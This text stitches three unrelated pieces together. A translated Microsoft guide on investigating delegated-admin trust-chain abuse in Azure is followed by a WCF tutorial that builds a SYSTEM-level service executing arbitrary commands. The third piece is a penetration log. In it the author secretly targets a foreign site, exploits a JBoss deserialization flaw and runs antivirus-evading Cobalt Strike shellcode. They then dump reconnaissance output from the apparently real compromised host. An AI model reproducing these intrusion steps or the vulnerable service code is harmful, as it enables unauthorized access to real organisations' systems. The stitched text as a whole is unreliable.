委託管理特權DAP是一種方法,通過它,服務提供商可以管理Microsoft 365環境,而不需要維護本地身份。 DAP 對服務提供商和最終客戶都有好處,因為它允許服務提供商使用他們自己的身份和安全策略管理下游租戶。

使用DAP的服務提供商可以在Microsoft 365管理中心通過導航到“設置”,然後到“合作夥伴關係”來識別。在合作夥伴關係中,你可以查看與租戶建立計費關係的所有服務提供商的列表,以及服務提供商是否分配了任何角色。

1.png

將DAP 識別為下游客戶

雖然終端客戶無法看到服務提供商租戶中所有可以對最終客戶租戶進行管理更改的用戶的列表,但他們可以通過查看Azure Active Directory 登錄日誌來查看服務提供商的登錄並過濾服務提供商的跨租戶訪問類型。可以通過單擊“下載”導出結果,並利用這些結果進一步針對Azure 和Microsoft 365 進行分類。

2.jpg

服務提供商的登錄

AzureAOBOAzure AOBO在本質上類似於DAP,儘管訪問的範圍僅限於針對個人Azure訂閱和資源的Azure資源管理器(ARM)角色分配,以及Azure Key Vault訪問策略。 Azure AOBO帶來了與DAP類似的管理效益。

要全面評估你訂閱中的AOBO權限,請確保已授予全局管理員訪問權限,後者將評估服務提供商對每個租戶中的所有訂閱的訪問權限。

Azure AOBO訪問是在創建訂閱時添加的,可以在給定Azure訂閱的訪問控制(IAM)中看到。

3.png

如果你有多個訂閱,請考慮運行以下命令來識別服務提供商可能訪問資源的訂閱:

Get-AzSubscription|%{Set-AzContext-Subscription$_;Get-AzRoleAssignment-Scope'/subscriptions/$($_.Id)'|Where-Object{$_.DisplayName-like'ForeignPrincipalfor*inRole'TenantAdmins'(*)'}|SelectDisplayName,Scope|Format-Table}也可以授予csp直接訪問Key Vault的權限。下面的PowerShell命令可以用來識別允許通過AOBO訪問的訪問策略Key vault:

Get-AzKeyVault|%{$vault=Get-AzKeyVault-VaultName$_.VaultName;if($vault.AccessPolicies|Where-Object{$_.DisplayName-like'ForeignPrincipalfor'*'inrole'TenantAdmins'(*)'}){$vault|selectVaultName,ResourceId|Format-Table}}除了上述命令之外,Azure Red Team工具Stormspotter也可以用於大型環境。

從前面的步驟中收集的信息將用於在分類期間進行日誌審查。

Azure AD B2BAzure AD B2B帳戶(客戶)可用於管理Azure和Microsoft 365資源。這種管理訪問方法利用了另一個租戶中的個人現有身份,由於對身份控制的限制,Microsoft通常不推薦這種方法。調查人員應注意授予客戶訪問Microsoft 365 中資源的多種方式,其中可能包括Exchange Online 角色和SharePoint Online 角色。

Azure訂閱為了全面評估你的訂閱中的B2B權限,請確保你已授予用戶訪問權限,這些用戶將根據以下指導評估服務提供商對每個租戶中所有訂閱的訪問:提升訪問權限以管理所有Azure 訂閱和管理組。

授予Azure 角色的Azure AD B2B 身份顯示在Azure 門戶的訪問控制邊欄選項卡中。

7.png

在訂閱中具有所有者角色的客戶用戶

可以使用以下命令系統地識別Azure AD B2B 身份,該命令將生成可用於定位初始分類的身份和資源列表。

Get-AzSubscription|%{Set-AzContext-Subscription$_;Get-AzRoleAssignment-Scope'/subscriptions/$($_.Id)'|Where-Object{$_.SignInName-like'*#EXT#@*'}|SelectDisplayName,SignInName,Scope|Format-Table}.Microsoft 365 (Azure AD)可以在Azure AD 特權身份管理邊欄選項卡的分配邊欄選項卡中查看已在Azure AD 中授予角色的Azure AD B2B 身份。過濾“#EXT#”將允許你查看分配給管理角色的所有訪客用戶。

9.png

過濾客戶用戶

下面的PowerShell還可以用於識別具有管理角色的客戶帳戶。這些身份信息將用於幫助目標分類。

Get-AzureADDirectoryRole|Get-AzureADDirectoryRoleMember|Where-Object{$_.UserPrincipalName-like'*#EXT#@*'}.調查信任鏈在Microsoft 365和Microsoft Azure中,通過信任鏈的活動可以看到多個活動,包括Azure AD審計日誌、Azure activity日誌、Intune審計日誌和統一審計日誌。使用在“識別”階段收集的數據,可以執行有針對性的日誌檢查,以識別信任鏈濫用。應審查每個日誌的來自信任鏈的活動,特別是重點關注促進持久性、數據收集和偵察的活動。

11.png

Azure AD攻擊者通常會使用各種方法來建立持久性,這些方法包括創建新的服務主體、向現有應用程序註冊中添加新的秘密、服務主體、創建新的特權用戶以及接管現有的特權帳戶。你可以通過查看Azure AD 審核日誌並篩選在“識別”階段識別為最近登錄的用戶,來識別通過信任鏈對Azure AD 所做的修改,比如:

密碼重置;

修改服務主體;

將用戶添加到特權角色;

對多因素身份驗證(MFA)的更改;

創建新用戶;

統一審計日誌統一審核日誌可用於識別通過SharePoint Online、Exchange Online、Azure AD 和其他Microsoft 365 產品中的信任鏈執行的活動。

統一審核日誌從Azure AD 和Office 365 中提取數據並將這些數據保留至少90 天,使其成為非常有價值的集中信息來源,如果應用E5 許可證,此數據將保留1 年,使用高級審計的最長可配置保留期為10 年。

Search-UnifiedAuditLog cmdlet 可用於搜索在“識別”階段識別的用戶執行的操作。或者,可以使用Microsoft 365 Defender 門戶中的GUI 搜索日誌。

Azure活動攻擊者對Azure資源的訪問使他們能夠竊取數據並橫向移動到連接到目標Azure環境的其他環境。有權訪問訂閱的攻擊者可以部署新資源、通過虛擬機擴展訪問現有資源,或者直接從Azure 訂閱中竊取數據和密鑰。對Azure資源的訪問和操作可以通過檢查每個訂閱中存在的Azure Activity日誌進行審計。

微軟終端管理器

攻擊者可能通過各種信任鏈訪問Microsoft終端管理器,由於Microsoft終端管理器管理設備的配置,因此它是另一個需要查看的重要審核日誌。可以在微軟終端管理器門戶的租戶管理邊欄選項卡下訪問微軟終端管理器審核日誌。在審計日誌中,啟動器“Partner”可用於過濾由Partner發起的操作。在“身份識別”階段被識別為具有特權的客戶用戶所採取的操作將需要通過用戶主體名稱進行搜索。應該檢查這些日誌事件,以確保沒有通過識別的信任鏈發生惡意活動。

12.png

緩解措施如果在調查過程中發現並確認惡意活動或發現不需要的和過度放任的信任鏈,則應採取果斷措施阻止或最小化訪問。根據信任鏈的類型,可能需要採取不同的步驟來阻止訪問。在任何正在進行的調查結束之前,不建議完全刪除工件;刪除某些工件可能會延遲或增加完成調查的難度。客戶應該與他們的服務提供商交流以了解他們有哪些保護措施,並且在發生潛在惡意活動時,通知他們的服務提供商以獲得他們在活動驗證方面的幫助。

委託管理權限如果服務提供商對租戶的日常活動管理不需要DAP,則應該刪除它。在某些情況下,需要權限以方便服務提供商的管理。在這些情況下,微軟將引入細粒度的委派管理員權限(GDAP),這將允許合作夥伴控制對其客戶工作負載的更細粒度和有時間限制的訪問。

微軟建議服務提供商利用客戶租戶中的命名帳戶來降低風險。如果存在來自服務提供商關係的攻擊證據,建議至少在調查結束之前從關係中刪除被委派的管理員權限。

要刪除委託的管理員權限,請在Microsoft 365管理中心導航到“設置”,然後到“合作夥伴關係”。在夥伴關係中,點擊該關係,然後在詳細信息選項中選擇“刪除角色”。採取此操作將阻止服務提供商以全局管理員或幫助台管理員的身份訪問租戶。刪除此訪問權限不會更改或更改當前通過服務提供商購買的計費關係或許可證。

AzureAOBO如果Azure 訂閱的有效日常管理不需要Azure AOBO 訪問權限,則應刪除它。如果服務提供商需要訪問Azure 訂閱,則應該通過添加具有適當角色和權限的外部主體來應用最小權限。如果有證據表明來自服務提供商的攻擊,那麼應該從每個Azure訂閱中刪除外部主體。

可以利用Azure 策略監控通過AOBO 授予的權限。你可以在Tenant Root Group部署Azure 策略,如果將外部主體的權限分配給Azure中的資源,則該策略將引發不合規。雖然Azure 策略不能阻止使用外國主體創建訂閱,但它簡化了關於訂閱存在的報告,並允許在需要時自動刪除或阻止創建。

可以通過導航到受影響訂閱上的訪問控制(IAM) 邊欄選項卡,為服務提供商選擇外部主體,然後刪除Azure AOBO 權限

13.jpg

刪除外部主體的Azure AOBO 權限

安全檢測日誌記錄的集中可用性對於響應和調查潛在事件至關重要,並且是此類DART 調查的首要障礙。如果組織正在監控其云環境的特權訪問和管理更改,則應該可以發現並警告涉及授權管理特權濫用的惡意活動。

應將雲活動日誌提取到安全信息和事件管理器(SIEM) 中並保留以供分析。包括:

Office 365 統一審核日誌;

Azure AD 管理員審核日誌和登錄日誌;

Microsoft終端管理器審計日誌。

可以利用Azure活動日誌和特定的數據平面日誌(如Azure Key Vault和Storage Azure 策略)來強制執行一致的日誌標準。

作為事件響應者,當有數量和質量都豐富的可用數據時,DART 最有效。一種感興趣的日誌類型是登錄日誌;身份事件可以告訴我們很多關於攻擊活動的信息。通常可以在這些日誌中識別模式,這些模式可以像IP 地址匹配一樣簡單,也可以像UserAgent 字符串、時間和應用程序ID 匹配一樣複雜。

話雖如此,最關鍵的日誌記錄是管理活動的日誌記錄。管理帳戶的任何使用或執行的操作都非常重要,應受到監控,在企業環境中,大多數更改通常是在批准的更改窗口期間進行的,應評估此範圍之外的更改的有效性和完整性。

日誌本身是很有用的,但對於及時顯示不尋常或惡意活動,警報是至關重要的。 Microsoft 365 Defender 門戶有一些有用的內置警報來識別可疑活動。比如:

提升Exchange管理權限;

啟動或導出eDiscovery搜索;

創建轉發或重定向規則;

還可以創建自定義警報以提醒其他類型的活動,另一個比較好用的警報工具是Microsoft Defender for Cloud Apps(以前稱為Microsoft Cloud App Security)。此工具可以從Azure AD、Office 365、Azure、Defender for Endpoint、Defender for Identity 以及許多第三方服務中提取數據。策略引擎可用於基於內置模板或自定義定義創建警報策略。以下是一些模板化策略的例子:

來自非公司IP地址的管理活動;

可疑的管理活動;

向OAuth應用程序添加可疑憑證;

可疑的OAuth應用程序文件下載活動;

多個虛擬機創建活動;

微軟安全建議微軟建議客戶定期與服務提供商進行交流,以了解為訪問其租戶設置的安全控制。應該密切監視服務提供商對資源的訪問,如果一段時間未使用,則應按照嚴格的最低權限流程進行刪除。

保護管理訪問的一些具體方法包括使用即時管理解決方案,例如特權身份管理,包括定期審查管理員以確保仍然需要他們的訪問。 MFA 也很關鍵,不僅是啟用MFA,還要確保所有管理員都註冊了MFA 方法。

0x00 前言Windows Communication Foundation (WCF)是用於在.NET Framework中構建面向服務的應用程序的框架。本文將要介紹WCF開發的相關內容,為後續介紹的內容作鋪墊。

0x01 簡介本文將要介紹以下內容:

使用basicHttpBinding實現WCF

使用NetTcpBinding實現WCF

通過命令行實現WCF

通過IIS實現WCF

通過服務實現WCF

0x02 基礎知識參考資料:

https://docs.microsoft.com/en-us/dotnet/framework/wcf/whats-wcf

常用的傳輸協議:

HTTP,http://localhost:8080/

TCP,net.tcp://localhost:8080/

IPC,net.pipe://localhost/

常用的Binding:

BasicHttpBinding

WSHttpBinding

NetTcpBinding

NetNamedPipeBinding

元數據發布(metadata exchange),簡稱MEX

WCF默認禁用MEX,這樣能夠避免數據洩露

本著逐步深入的原則,本系列文章選擇先介紹開啟MEX的用法,這樣能夠提高客戶端開發的效率,禁用MEX的用法將放在下篇文章進行介紹。

0x03 使用basicHttpBinding實現WCF本節採用命令行實現WCF的方式作為示例

開發工具:Visual Studio 2015

1.服務端編寫(1)新建項目

選擇Visual C#-Console Application,名稱為basicHttpBindingWCFServer

(2)新建WCF服務

選擇Add-New Item.選擇WCF Service,名稱為Service1.cs

(3)修改service1.cs

添加DoWork的實現代碼,代碼示例:

image.png

(4)修改Program.cs

添加引用System.ServiceModel

添加啟動代碼,代碼示例:

image.png

(5)編譯運行

命令行輸出服務地址:http://localhost:8733/Design_Time_Addresses/basicHttpBindingWCFServer/Service1/

服務地址也可以在工程中的App.config查看

(6)測試

此時開啟了MEX,可選擇以下方法進行測試:

通過瀏覽器訪問服務地址:http://localhost:8733/Design_Time_Addresses/basicHttpBindingWCFServer/Service1/,能夠返回服務信息

使用WcfTestClient進行測試,默認路徑:C:\Program Files(x86)\Microsoft Visual Studio 14\Common7\IDE\WcfTestClient.exe,連接http://localhost:8733/Design_Time_Addresses/basicHttpBindingWCFServer/Service1/,調用DoWork(),此時服務端命令行輸出Run Server.DoWork(),方法調用成功

使用Svcutil生成客戶端配置代碼,命令示例:svcutil.exe http://localhost:8733/Design_Time_Addresses/basicHttpBindingWCFServer/Service1//out:1.cs,相關代碼可參考:https://github.com/dotnet/samples/tree/main/framework/wcf/Basic/Binding/Net/Tcp/Default/CS

注:

App.config由Visual Studio自動生成,服務地址由App.config隨機指定,這裡也可以通過代碼的方式指定服務地址,不需要依賴App.config,方法如下:

Program.cs示例:

image.png

App.config示例:

image.png

2.客戶端編寫(1)新建項目

選擇Visual C#-Console Application,名稱為basicHttpBindingWCFClient

(2)引用服務

選擇Add-Service Reference.

填入URL:http://localhost:8733/Design_Time_Addresses/basicHttpBindingWCFServer/Service1/

(3)修改Program.cs

代碼示例:

image.png

(4)編譯運行

此時服務端命令行輸出Run Server.DoWork(),方法調用成功

0x04 使用NetTcpBinding實現WCF本節採用命令行實現WCF的方式作為示例

1.服務端編寫(1)新建項目

選擇Visual C#-Console Application,名稱為NetTcpBindingWCFServer

(2)新建WCF服務

選擇Add-New Item.選擇WCF Service,名稱為Service1.cs

(3)修改service1.cs

添加DoWork的實現代碼,代碼示例:

image.png

(4)修改Program.cs

添加引用System.ServiceModel

添加啟動代碼,代碼示例:

image.png

(5)修改App.config

Line10: serviceMetadata httpGetEnabled='true' httpsGetEnabled='true' /

修改為: serviceMetadata httpGetEnabled='false' httpsGetEnabled='false' /

Line17: endpoint address='' binding='basicHttpBinding' contract='NetTcpBindingWCFServer.IService1'

修改為: endpoint address='' binding='netTcpBinding' contract='NetTcpBindingWCFServer.IService1'

Line22: endpoint address='mex' binding='mexHttpBinding' contract='IMetadataExchange' /

修改為: endpoint address='mex' binding='mexTcpBinding' contract='IMetadataExchange' /

Line25: add baseAddress='http://localhost:8733/Design_Time_Addresses/NetTcpBindingWCFServer/Service1/' /

修改為: add baseAddress='net.tcp://localhost:1111/Design_Time_Addresses/NetTcpBindingWCFServer/Service1/' /

完整代碼示例:

image.png

(6)編譯運行

命令行輸出服務地址:net.tcp://localhost:1111/Design_Time_Addresses/NetTcpBindingWCFServer/Service1/

(7)測試

此時開啟了MEX,可選擇以下方法進行測試:

使用WcfTestClient進行測試,默認路徑:C:\Program Files(x86)\Microsoft Visual Studio 14\Common7\IDE\WcfTestClient.exe,連接net.tcp://localhost:1111/Design_Time_Addresses/NetTcpBindingWCFServer/Service1/,調用DoWork(),此時服務端命令行輸出Run Server.DoWork(),方法調用成功

使用Svcutil生成客戶端配置代碼,命令示例:svcutil.exe net.tcp://localhost:1111/Design_Time_Addresses/NetTcpBindingWCFServer/Service1//out:1.cs,相關代碼可參考:https://github.com/dotnet/samples/tree/main/framework/wcf/Basic/Binding/Net/Tcp/Default/CS

2.客戶端編寫(1)新建項目

選擇Visual C#-Console Application,名稱為NetTcpBindingWCFClient

方法同0x03中的2.客戶端編寫

0x05 通過IIS實現WCF本節僅以服務端編寫作為示例,客戶端編寫同命令行實現的方法一致

1.服務端編寫(1)新建項目

選擇Visual C#-WCF-WCF Service Library,名稱為WcfServiceLibrary1

(2)發布

選中項目,右鍵-Publish.設置Target location為c:\wcfdemo

(3)在IIS管理頁面下新建網站

設置以下參數:

Site name:wcfdemo

Physical path:c:\wcfdemo

IP address: All unassigned

Port:81

選中網站wcfdemo,進入Content View

選中WcfServiceLibrary1.Service1.svc,右鍵-Browse,得到URL:http://localhost:81/WcfServiceLibrary2.Service1.svc

(4)測試

此時開啟了MEX,可選擇以下方法進行測試:

通過瀏覽器訪問服務地址:http://localhost:81/WcfServiceLibrary2.Service1.svc,能夠返回服務信息

使用WcfTestClient進行測試,默認路徑:C:\Program Files(x86)\Microsoft Visual Studio 14\Common7\IDE\WcfTestClient.exe,連接http://localhost:81/WcfServiceLibrary2.Service1.svc,調用GetData(),獲得返回值,方法調用成功

使用Svcutil生成客戶端配置代碼,命令示例:svcutil.exe http://localhost:81/WcfServiceLibrary2.Service1.svc,相關代碼可參考:https://github.com/dotnet/samples/tree/main/framework/wcf/Basic/Binding/Net/Tcp/Default/CS

0x06 通過服務實現WCF本節僅以服務端編寫作為示例,客戶端編寫同命令行實現的方法一致

1.使用basicHttpBinding實現服務端

(1)新建項目

選擇Visual C#-Console Application,名稱為WCFService

(2)新建Windows Service

選擇Add-New Item.選擇Windows Service,名稱為Service1.cs

(3)設置服務信息

選中Service1.cs,右鍵-Add Installer

項目中自動創建ProjectInstaller.cs文件,該文件會添加倆個組件serviceProcessInstaller1和serviceInstaller1

選中serviceProcessInstaller1組件,查看屬性,設置account為LocalSystem

選中serviceInstaller1組件,查看屬性,設置ServiceName為VulServiceTest1

(4)編輯Program.cs

image.png

image.png

(5)啟動服務

編譯生成WCFService.exe

安裝服務:

image.png

啟動服務:

image.png

補充:卸載服務

image.png

(6)測試

此時開啟了MEX,可選擇以下方法進行測試:

通過瀏覽器訪問服務地址:http://localhost:1112/TestService,能夠返回服務信息

使用WcfTestClient進行測試,默認路徑:C:\Program Files(x86)\Microsoft Visual Studio 14\Common7\IDE\WcfTestClient.exe,連接http://localhost:1112/TestService,調用RunMe(),在str對應的Value輸入calc,執行後啟動system權限的calc,方法調用成功

使用Svcutil生成客戶端配置代碼,命令示例:svcutil.exe http://localhost:1112/TestService /out:1.cs,相關代碼可參考:https://github.com/dotnet/samples/tree/main/framework/wcf/Basic/Binding/Net/Tcp/Default/CS

2.使用NetTcpBinding實現服務端

方法同上,區別在於Program.cs,示例代碼如下:

image.png

image.png

注:

服務端設置了HttpGetUrl:http://localhost:1114/TestService

0x07 小結本文介紹了在啟用元數據發布(MEX)時WCF開發的相關內容,下一篇將要介紹關閉元數據發布(MEX)時WCF開發的相關內容。

工具准备

jexboss

Kali Linux

CS 4.3

Windows杀软在线查询一

Windows杀软在线查询二

Windows杀软在线查询三

fscan

潮汐shellcode免杀

LSTAR

CobaltStrike其他插件

PEASS-ng

PrintSpoofer

外网打点

1、为了练习内网横向,悄悄的盯上国外的站点

2、发现jboss网站存在反序列化漏洞,是呀jexboss无法利用成功

python jexboss.py -u https://xx.xx.xx/

3、使用工具java反序列化终极测试工具 by 6哥成功利用

yhbp4r5dbjn14774.jpg

4、查看当前用户whoami,普通用户

4c052vc3rah14775.jpg

5、查看IP地址ipconfig

4pbffdvjp5l14776.png

6、查看是否有杀软tasklist /svc

2s2mgztpam314777.jpg

7、将查询的内容粘贴到Windows杀软在线查询,发现存在杀软

i2yhase4tjb14778.png

8、查看服务器是否出网ping www.baidu.com,很不错,服务器出网

uvt24x4bcmd14779.jpg

CS上线

1、因为有杀软,我们要考虑绕过,直接上传CS木马肯定是不行的,本次绕过的是潮汐shellcode免杀,因为很多github上利用python打包的exe文件太大,上传很慢,而潮汐shellcode免杀文件较小,上传快。

2、CS先生成c语言的shellcode

mtypcozyufg14780.jpg

3、将shellcode内容复制到潮汐网站上,生成的exe上传到目标机器,然后执行命令

C:\\usr\\desarrollo\\jboss-5.1.0.GA\\server\\sigAmeServer\\deploy\\ROOT.war\\TideAv-Go1-2023-02-04-10-31-21-221261.exe tide

pqrwxpmzxyc14782.jpg

4、CS成功上线

i5qhil2332x14783.jpg

权限提升

信息收集

1、查看当前用户及特权

whoami
whoami /priv

znzgbtj222x14784.jpg

2、查看系统版本及补丁信息

systeminfo

nq1fqbgedyu14785.jpg

Nombre de host:                            AMEPROWEBEGAD
Nombre del sistema operativo:              Microsoft Windows 10 Pro
Versi¢n del sistema operativo:             10.0.19044 N/D Compilaci¢n 19044
Fabricante del sistema operativo:          Microsoft Corporation
Configuraci¢n del sistema operativo:       Estaci¢n de trabajo miembro
Tipo de compilaci¢n del sistema operativo: Multiprocessor Free
Propiedad de:                              appzusr
Organizaci¢n registrada:                   
Id. del producto:                          00331-10000-00001-AA727
Fecha de instalaci¢n original:             13/5/2022, 14:03:47
Tiempo de arranque del sistema:            1/2/2023, 16:50:29
Fabricante del sistema:                    VMware, Inc.
Modelo el sistema:                         VMware Virtual Platform
Tipo de sistema:                           x64-based PC
Procesador(es):                            2 Procesadores instalados.
                                           [01]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2494 Mhz
                                           [02]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2494 Mhz
Versi¢n del BIOS:                          Phoenix Technologies LTD 6.00, 12/11/2020
Directorio de Windows:                     C:\Windows
Directorio de sistema:                     C:\Windows\system32
Dispositivo de arranque:                   \Device\HarddiskVolume1
Configuraci¢n regional del sistema:        ezs-mx;Espa¤ol (M‚xico)
Idioma de entrada:                         es-mx;Espa¤ol (M‚xico)
Zona horaria:                              (UTC-06:00) Guadalajara, Ciudad de M‚xico, Monterrey
Cantidad total de memoria f¡sica:          4.095 MB
Memoria f¡sica disponible:                 1.201 MB
Memoria virtual: tama¤o m ximo:            4.799 MB
Memoria virtual: disponible:               1.147 MB
Memoria virtual: en uso:                   3.652 MB
Ubicaci¢n(es) de archivo de paginaci¢n:    C:\pagefile.sys
Dominio:                                   ame.local
Servidor de inicio de sesi¢n:              \\AMEPROWEBEGAD
Revisi¢n(es):                              4 revisi¢n(es) instaladas.
                                           [01]: KB5004331
                                           [02]: KB5003791
                                           [03]: KB5006670
                                           [04]: KB5005699
Tarjeta(s) de red:                         1 Tarjetas de interfaz de red instaladas.
 z                                          [01]: Intel(R) PRO/1000 MT Network Connection
                                                 Nombre de conexi¢n: Ethernet0
                                                 DHCP habilitado:    No
                                                 Direcciones IP
                                                 [01]: 172.16.2.100
                                                 [02]: fe80::591:ae09:eee1:888e
Requisitos Hyper-V:                        Se detect¢ un hipervisor. No se mostrar n las caracter¡sticas necesarias para Hyper-V.

3、查看开放的端口服务netstat -ano

Conexiones activas

  Proto  Direcci¢n local          Direcci¢n remota        Estado           PID
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       600
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:1090           0.0.0.0:0              LISTENING       7600
  TCP    0.0.0.0:1098           0.0.0.0:0              LISTENING       7600
  TCP z   0.0.0.0:1099           0.0.0.0:0              LISTENING       7600
  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING       1072
  TCP    0.0.0.0:3873           0.0.0.0:0              LISTENING       7600
  TCP    0.0.0.0:4444           0.0.0.0:0              LISTENING       7600
  TCP    0.0.0.0:4445           0.0.0.0:0              LISTENING       7600
  TCP    0.0.0.0:4446           0.0.0.0:0              LISTENING       7600
  TCP    0.0.0.0:4457           0.0.0.0:0              LISTENING       7600
  TCP    0.0.0.0:4712           0.0.0.0:0              LISTENING       7600
  TCP    0.0.0.0:4713           0.0.0.0:0              LISTENING       7600
  TCP    0.0.0.0:5040           0.0.0.0:0              LISTENING       6652
  TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:7070           0.0.0.0:0              LISTENING       3564
  TCP    0.0.0.0:8009           0.0.0.0:0              LISTENING       7600
  TCP    0.0.0.0:8080           0.0.0.0:0    z          LISTENING       7600
  TCP    0.0.0.0:8083           0.0.0.0:0              LISTENING       7600
  TCP    0.0.0.0:46305          0.0.0.0:0              LISTENING       7600
  TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       832
  TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       680
  TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       1416
  TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING       1612
  TCP    0.0.0.0:49668          0.0.0.0:0              LISTENING       2452
  TCP    0.0.0.0:49671          0.0.0.0:0              LISTENING       832
  TCP    0.0.0.0:49672          0.0.0.0:0              LISTENING       3404
  TCP    0.0.0.0:49704          0.0.0.0:0              LISTENING       820
  TCP    0.0.0.0:49708          0.0.0.0:0              LISTENING       3048
  TCP    0.0.0.0:51407          0.0.0.0:0              LISTENING       7600
  TCP    127z.0.0.1:5140         0.0.0.0:0              LISTENING       7172
  TCP    127.0.0.1:51411        0.0.0.0:0              LISTENING       7600
  TCP    172.16.2.100:139       0.0.0.0:0              LISTENING       4
  TCP    172.16.2.100:8080      172.16.12.34:42602     TIME_WAIT       0
  TCP    172.16.2.100:8080      172.16.12.34:42610     ESTABLISHED     7600
  TCP    172.16.2.100:8080      172.16.12.34:55672     TIME_WAIT       0
  TCP    172.16.2.100:8080      172.16.12.34:55686     TIME_WAIT       0
  TCP    172.16.2.100:49717     38.90.226.62:8883      ESTABLISHED     3576
  TCP    172.16.2.100:50848     172.16.2.100:51407     TIME_WAIT       0
  TCP    172.16.2.100:51413     172.16.2.190:1433      ESTABLISHED     7600
  TCP    172.16.2.100:51447     172.16.2.190:1433      ESTABLISHED     7600
  TCP    172.16.2.100:56063     172.16.2.11:2222       ESTABLISHED     3576
  TCP    172.16.2.100:56538     92.223.66.48:443       ESTABLISHED     3564
  TCP    [::]:135               [::]:0                 LISTENINzG       600
  TCP    [::]:445               [::]:0                 LISTENING       4
  TCP    [::]:1090              [::]:0                 LISTENING       7600
  TCP    [::]:1098              [::]:0                 LISTENING       7600
  TCP    [::]:1099              [::]:0                 LISTENING       7600
  TCP    [::]:3389              [::]:0                 LISTENING       1072
  TCP    [::]:3873              [::]:0                 LISTENING       7600
  TCP    [::]:4444              [::]:0                 LISTENING       7600
  TCP    [::]:4445              [::]:0                 LISTENING       7600
  TCP    [::]:4446              [::]:0                 LISTENING       7600
  TCP    [::]:4457              [::]:0                 LISTENING       7600
  TCP    [::]:4712              [::]:0                 LISTENING       7600
  TCP    [::]:4713              [::]:0                 LISTENING       7600
  TCP    [::]:5985              [::]:0                 LISTENING       4
  TCP    [::]:8009            z  [::]:0                 LISTENING       7600
  TCP    [::]:8080              [::]:0                 LISTENING       7600
  TCP    [::]:8083              [::]:0                 LISTENING       7600
  TCP    [::]:46305             [::]:0                 LISTENING       7600
  TCP    [::]:47001             [::]:0                 LISTENING       4
  TCP    [::]:49664             [::]:0                 LISTENING       832
  TCP    [::]:49665             [::]:0                 LISTENING       680
  TCP    [::]:49666             [::]:0                 LISTENING       1416
  TCP    [::]:49667             [::]:0                 LISTENING       1612
  TCP    [::]:49668             [::]:0                 LISTENING       2452
  TCP    [::]:49671             [::]:0                 LISTENING       832
  TCP    [::]:49672             [::]:0                 LISTENING       3404
  TCP    [::]:49704             [::]:0                 LISTENING       820
  TCP    [::]:49708             [::]:0                 LISTENING       30z48
  TCP    [::]:51407             [::]:0                 LISTENING       7600
  UDP    0.0.0.0:123            *:*                                    1268
  UDP    0.0.0.0:500            *:*                                    3040
  UDP    0.0.0.0:3389           *:*                                    1072
  UDP    0.0.0.0:4500           *:*                                    3040
  UDP    0.0.0.0:5050           *:*                                    6652
  UDP    0.0.0.0:5353           *:*                                    1432
  UDP    0.0.0.0:5355           *:*                                    1432
  UDP    0.0.0.0:50001          *:*                                    3564
  UDP    0.0.0.0:50007          *:*                                    1240
  UDP    0.0.0.0:56152          *:*                                    1240
  UDP    0.0.0.0:61593          *:*                                    1240
  UDP    0.0.0.0:64843          *:*                                    1240
  UDP    127.0.0.1:1900         *z:*                                    2876
  UDP    127.0.0.1:50434        *:*                                    832
  UDP    127.0.0.1:55588        *:*                                    2876
  UDP    127.0.0.1:65220        *:*                                    1868
  UDP    127.0.0.1:65222        *:*                                    2360
  UDP    172.16.2.100:137       *:*                                    4
  UDP    172.16.2.100:138       *:*                                    4
  UDP    172.16.2.100:1900      *:*                                    2876
  UDP    172.16.2.100:55587     *:*                                    2876
  UDP    [::]:123               *:*                                    1268
  UDP    [::]:500               *:*                                    3040
  UDP    [::]:3389              *:*                                    1072
  UDP    [::]:4500              *:*                                    3040
  UDP    [::]:5353              *:*                                    1432
z  UDP    [::]:5355              *:*                                    1432
  UDP    [::1]:1900             *:*                                    2876
  UDP    [::1]:55586            *:*                                    2876
  UDP    [fe80::591:ae09:eee1:888e%13]:1900  *:*                                    2876
  UDP    [fe80::591:ae09:eee1:888e%13]:55585  *:*                                    2876

4、查看网卡信息shell ipconfig /all

Configuración IP de Windows

   Nombre de host. . . . . . . . . : AMEPROWEBEGAD
   Sufijo DNS principal  . . . . . : ame.local
   Tipo de nodo. . . . . . . . . . : híbrido
   Enrutamiento IP habilitado. . . : no
   Proxy WINS habilitado . . . . . : no
   Lista de búsqueda de sufijos DNS: ame.local

Adaptador de Ethernet Ethernet0:

   Sufijo DNS específico para la conexión. . : 
   Descripción . . . . . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection
   Dirección física. . . . . . . . . . . . . : 00-50-56-B2-9D-FE
   DHCP habilitado . . . . . . . . . . . . . : no
   Configuración automática habilitada . . . : sí
   Vínculo: dirección IPv6 local. . . : fe80::591:ae09:eee1:888e%13(Preferido) 
   Dirección IPv4. . . . . . . . . . . . . . : 172.16.2.100(Preferido) 
   Máscara de subred . . . . . . . . . . . . : 255.255.255.0
   Puerta de enlace predeterminada . . . . . : 172.16.2.254
   IAID DHCPv6 . . . . . . . . . . . . . . . : 100683862
   DUID de cliente DHCPv6. . . . . . . . . . : 00-01-00-01-2A-10-71-A7-00-50-56-B2-9D-FE
   Servidores DNS. . . . . . . . . . . . . . : 172.16.2.20
                                       10.0.0.1
   NetBIOS sobre TCP/IP. . . . . . . . . . . : habilitado

 

1lg0i1npcua14786.jpg

5、路由表信息shell arp -a

Interfaz: 172.16.2.100 --- 0xd
  Dirección de Internet          Dirección física      Tipo
  172.16.2.11           00-50-56-b2-ac-66     dinámico  
  172.16.2.20           00-50-56-b2-d2-30     dinámico  
  172.16.2.150          00-90-a9-d6-91-01     dinámico  
  172.16.2.190          00-50-56-b2-99-b0     dinámico  
  172.16.2.254          00-00-5e-00-01-02     dinámico  
  172.16.2.255          ff-ff-ff-ff-ff-ff     estático  
  224.0.0.22            01-00-5e-00-00-16     estático  
  224.0.0.251           01-00-5e-00-00-fb     estático  
  224.0.0.252           01-00-5e-00-00-fc     estático  
  239.255.255.250       01-00-5e-7f-ff-fa     estático

0hq3l1m1elv14787.jpg

6、是否存在域环境shell systeminfo,确实存在域环境

nam0grvpf1y14789.jpg

CS自带插件提权

